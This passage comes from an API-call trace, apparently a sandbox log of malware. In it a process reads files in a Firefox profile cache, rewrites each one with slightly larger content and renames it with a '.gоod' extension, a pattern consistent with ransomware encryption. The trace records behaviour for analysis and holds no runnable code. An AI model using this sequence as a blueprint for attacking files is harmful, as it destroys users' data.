lpOldMode=0x1fbeb020) returned 1 [0231.389] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42.gоod")) returned 1 [0231.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", lpFilePart=0x0) returned 0x7f [0231.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0231.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), fInfoLevelId=0x0, lpFileInformation=0x38cb150 | out: lpFileInformation=0x38cb150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef43c89, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef43c89, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x450ca7ce, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x3ca8)) returned 1 [0231.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0231.390] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", lpFilePart=0x0) returned 0x7f [0231.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.391] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.391] GetFileType (hFile=0x828) returned 0x1 [0231.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.391] GetFileType (hFile=0x828) returned 0x1 [0231.391] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0231.391] ReadFile (in: hFile=0x828, lpBuffer=0x38cb6b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x38cb6b8*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0231.946] CloseHandle (hObject=0x828) returned 1 [0231.946] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", lpFilePart=0x0) returned 0x7f [0231.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.946] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.946] GetFileType (hFile=0x828) returned 0x1 [0231.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.947] GetFileType (hFile=0x828) returned 0x1 [0231.947] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x3ca8 [0231.947] WriteFile (in: hFile=0x828, lpBuffer=0x3846140*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3846140*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0231.948] CloseHandle (hObject=0x828) returned 1 [0231.948] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", lpFilePart=0x0) returned 0x7f [0231.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.948] GetFileType (hFile=0x828) returned 0x1 [0231.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.948] GetFileType (hFile=0x828) returned 0x1 [0231.948] ReadFile (in: hFile=0x828, lpBuffer=0x38484c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x38484c8*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0231.975] CloseHandle (hObject=0x828) returned 1 [0231.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", lpFilePart=0x0) returned 0x7f [0231.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.976] GetFileType (hFile=0x828) returned 0x1 [0231.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.976] GetFileType (hFile=0x828) returned 0x1 [0231.976] WriteFile (in: hFile=0x828, lpBuffer=0x3847178*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3847178*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0231.976] CloseHandle (hObject=0x828) returned 1 [0231.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D", lpFilePart=0x0) returned 0x7f [0231.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D.gоod", lpFilePart=0x0) returned 0x84 [0231.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0231.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef43c89, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef43c89, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x867a4ecf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3cb8)) returned 1 [0231.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0231.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\108573E2B07FF25FFCAFE37F58D375561A47424D.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\108573e2b07ff25ffcafe37f58d375561a47424d.gоod")) returned 1 [0231.977] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", lpFilePart=0x0) returned 0x7f [0231.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0231.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), fInfoLevelId=0x0, lpFileInformation=0x38c4ad0 | out: lpFileInformation=0x38c4ad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x47b)) returned 1 [0231.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0231.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", lpFilePart=0x0) returned 0x7f [0231.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0231.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.978] GetFileType (hFile=0x828) returned 0x1 [0231.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0231.978] GetFileType (hFile=0x828) returned 0x1 [0231.978] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x47b [0231.978] ReadFile (in: hFile=0x828, lpBuffer=0x38c5348, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x38c5348*, lpNumberOfBytesRead=0x1fbeb028*=0x47b, lpOverlapped=0x0) returned 1 [0232.212] CloseHandle (hObject=0x828) returned 1 [0232.239] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", lpFilePart=0x0) returned 0x7f [0232.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0232.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0232.240] GetFileType (hFile=0x828) returned 0x1 [0232.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0232.240] GetFileType (hFile=0x828) returned 0x1 [0232.240] WriteFile (in: hFile=0x828, lpBuffer=0x38a5678*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x38a5678*, lpNumberOfBytesWritten=0x1fbeaf38*=0x480, lpOverlapped=0x0) returned 1 [0232.241] CloseHandle (hObject=0x828) returned 1 [0232.241] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04", lpFilePart=0x0) returned 0x7f [0232.241] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04.gоod", lpFilePart=0x0) returned 0x84 [0232.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0232.241] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x86a2d697, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0232.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0232.241] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\1380A3F977C9CB8D60BD5A90243F6A04E42FAD04.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\1380a3f977c9cb8d60bd5a90243f6a04e42fad04.gоod")) returned 1 [0232.242] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", lpFilePart=0x0) returned 0x7f [0232.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0232.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), fInfoLevelId=0x0, lpFileInformation=0x38a6a18 | out: lpFileInformation=0x38a6a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2e8f28, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e2e8f28, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e30f171, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf7d)) returned 1 [0232.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0232.243] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", lpFilePart=0x0) returned 0x7f [0232.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0232.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0232.243] GetFileType (hFile=0x828) returned 0x1 [0232.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0232.243] GetFileType (hFile=0x828) returned 0x1 [0232.243] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xf7d [0232.243] ReadFile (in: hFile=0x828, lpBuffer=0x38a7d90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x38a7d90*, lpNumberOfBytesRead=0x1fbeb028*=0xf7d, lpOverlapped=0x0) returned 1 [0232.395] CloseHandle (hObject=0x828) returned 1 [0232.422] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", lpFilePart=0x0) returned 0x7f [0232.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0232.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0232.423] GetFileType (hFile=0x828) returned 0x1 [0232.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0232.423] GetFileType (hFile=0x828) returned 0x1 [0232.423] WriteFile (in: hFile=0x828, lpBuffer=0x3836738*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3836738*, lpNumberOfBytesWritten=0x1fbeaf38*=0xf80, lpOverlapped=0x0) returned 1 [0232.424] CloseHandle (hObject=0x828) returned 1 [0232.424] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A", lpFilePart=0x0) returned 0x7f [0232.424] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A.gоod", lpFilePart=0x0) returned 0x84 [0232.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0232.424] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2e8f28, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e2e8f28, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x86bf723f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf80)) returned 1 [0232.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0232.424] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a"), 